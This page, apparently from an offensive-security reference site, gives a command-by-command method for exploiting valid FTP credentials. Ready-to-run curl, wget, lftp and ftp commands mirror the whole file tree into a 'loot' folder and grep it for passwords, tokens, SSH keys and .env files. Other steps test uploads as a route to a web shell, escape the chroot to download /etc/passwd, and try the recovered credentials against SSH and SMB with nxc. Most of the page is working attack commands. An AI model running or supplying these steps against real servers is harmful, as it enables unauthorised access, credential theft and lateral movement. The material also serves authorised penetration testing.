# FTP Credential Exploitation

> Exploit FTP authentication weaknesses using anonymous access, brute-force attacks, and credential stuffing to gain unauthorised access to FTP servers.

- **URL:** https://hackindex.io/services/ftp/exploitation/ftp-credential-exploitation
- **Path:** FTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ftp/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-08-11

Valid FTP credentials give authenticated access to the FTP file tree. The scope of access depends on the account's chroot configuration and filesystem permissions. From here the goal is to extract sensitive files, identify credential material that pivots to other services, and determine whether FTP write access leads to further impact.

- **Directory tree mapping** list and recurse the full accessible tree, checking for chroot escapes via cd /.
- **Bulk download** mirror everything with wget or lftp and grep for passwords, keys, and connection strings.
- **Write access testing** upload a test file to confirm write permissions, then pivot to web shell upload if the path is web-accessible.
- **Chroot escape** attempt to navigate to /etc and download passwd to confirm unrestricted filesystem access.
- **Credential reuse** test recovered FTP credentials against SSH, SMB, and web application logins immediately.

## Connect with Valid Credentials

```bash
ftp $TARGET_IP $PORT
```

Enter `$USER` and `$PASSWORD` at the prompts. A `230 Login successful` response confirms access.

With curl for non-interactive access:

```bash
curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/
```

## Map the Directory Tree

List the full accessible tree from the root:

```bash
curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/ -l
```

Recursively list all subdirectories in an interactive session:

```bash
ftp $TARGET_IP $PORT
# ls -la
# cd /
# ls -la
```

Some FTP servers chroot authenticated users to their home directory. Attempting `cd /` and observing whether the listing changes confirms whether chroot is in effect.

## Download Files of Interest

Download a single file:

```bash
curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/path/to/file.txt -o file.txt
```

Download everything recursively with wget:

```bash
wget -r --no-passive ftp://$USER:$PASSWORD@$TARGET_IP:$PORT/
```

With lftp for parallel and resumable transfers:

```bash
lftp -u $USER,$PASSWORD ftp://$TARGET_IP:$PORT
```

Inside lftp:

```bash
mirror --continue --parallel=5 / /tmp/ftp_loot/
```

## Search Downloaded Content for Credentials

```bash
grep -r -i 'password\|passwd\|secret\|api_key\|token\|connectionstring' /tmp/ftp_loot/ 2>/dev/null
find /tmp/ftp_loot -name "*.conf" -o -name "*.config" -o -name "*.env" -o -name "*.xml" -o -name "*.ini" 2>/dev/null
find /tmp/ftp_loot -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
```

SSH private keys, database connection strings, application config files, and `.env` files are the highest value finds. Credentials recovered here are tested for reuse against SSH, SMB, and any other services on the target.

## Test Upload Access

Even with standard credentials, the account may have write access to specific paths:

```bash
echo "writetest" > /tmp/writetest.txt
curl -s --user $USER:$PASSWORD -T /tmp/writetest.txt ftp://$TARGET_IP:$PORT/writetest.txt
```

If upload succeeds and the path is web-accessible, pivot to [FTP Web Shell Upload](https://hackindex.io/services/ftp/exploitation/ftp-web-shell-upload).

## Navigate Outside the Chroot

If the server is not properly chrooted, path traversal via the FTP session may reach OS-level files:

```bash
ftp $TARGET_IP $PORT
# cd /
# cd /etc
# get passwd
```

If `/etc/passwd` downloads successfully, the FTP daemon is running without chroot and the authenticated user can access the full filesystem with whatever OS-level permissions the FTP process holds.

## Credential Reuse Against Other Services

FTP credentials are frequently reused across SSH, web application logins, and database accounts. Test the recovered credentials immediately:

```bash
ssh $USER@$TARGET_IP
nxc smb $TARGET_IP -u $USER -p $PASSWORD
nxc ssh $TARGET_IP -u $USER -p $PASSWORD
```

## References

- [lftp Manual](https://lftp.yar.ru/lftp-man.html) - Mirror command, parallel transfer, and authenticated FTP usage reference
- [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) - nxc for credential reuse testing across SSH, SMB, and other services